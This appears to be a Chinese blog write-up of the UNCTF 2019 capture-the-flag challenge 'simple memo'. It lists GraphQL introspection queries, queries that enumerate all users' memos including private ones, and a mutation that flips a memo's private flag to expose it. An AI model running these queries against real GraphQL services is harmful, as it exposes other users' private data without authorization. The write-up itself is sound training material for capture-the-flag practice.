unctf2019 简单的备忘录

https://unctf.hackingfor.fun/#/train
这是unctf2019的题目哟,flag格式:FLAG{}

payload:

扒了一圈,人都傻了,还以为数据库里没有,万分感谢ningyu学长的提示哇

query GetAlluser
{
  allUsers{
    pageInfo{
      hasNextPage
      startCursor
      hasPreviousPage
    }
    edges{
      node{
        username
        id
        memos{
          edges{
            node{
              id
              title
              userId
              private
              content
            }
            cursor
            
          }
          pageInfo{
            endCursor
            hasNextPage
            startCursor
            hasPreviousPage
            
          }
        }
      }
      cursor
    }
  }
}

mutation lao_updateMemoInfo {
  updateMemoInfo(private:false,mid:2){
    ok
  }
}

一通乱查:

query showshema{
  __schema{
    types {
      name
      description
      fields{
        args{
          description
        }
        description
        isDeprecated
        deprecationReason
      }
      enumValues{
        description
        isDeprecated
        deprecationReason
      }
      inputFields{
        description
      }
    }
  }
}
query GetAlluser
{
  allUsers{
    pageInfo{
      hasNextPage
      startCursor
      hasPreviousPage
    }
    edges{
      node{
        username
        id
        memos{
          edges{
            node{
              id
              title
              userId
              private
              content
            }
            cursor
            
          }
          pageInfo{
            endCursor
            hasNextPage
            startCursor
            hasPreviousPage
            
          }
        }
      }
      cursor
    }
  }
}

query Getmemos
{
  memos{
    private
    id
    title
    userId
  }
}
query Alldata{
  __type (name: "Query") {
    name
    fields {
      name
      type {
        name
        kind
        ofType {
          name
          kind
        }
      }
    }
  }
}
query theMemoConnection
{
  allMemos{
    pageInfo
    {
      hasNextPage
      endCursor
      hasPreviousPage
    }
    edges
    {
      node{
        title
        userId
        private
      }
    }
  }
}

query getnode
{
    node(id:2){
        id
      __typename
    } 
  
}

参考资料:

https://graphql.cn/learn/queries/#mutations

https://ninghao.net/blog/5630

https://xz.aliyun.com/t/6661/

https://github.com/prisma-labs/get-graphql-schema

posted @ 2020-10-20 19:57  东坡肉肉君  阅读(422)  评论(0编辑  收藏  举报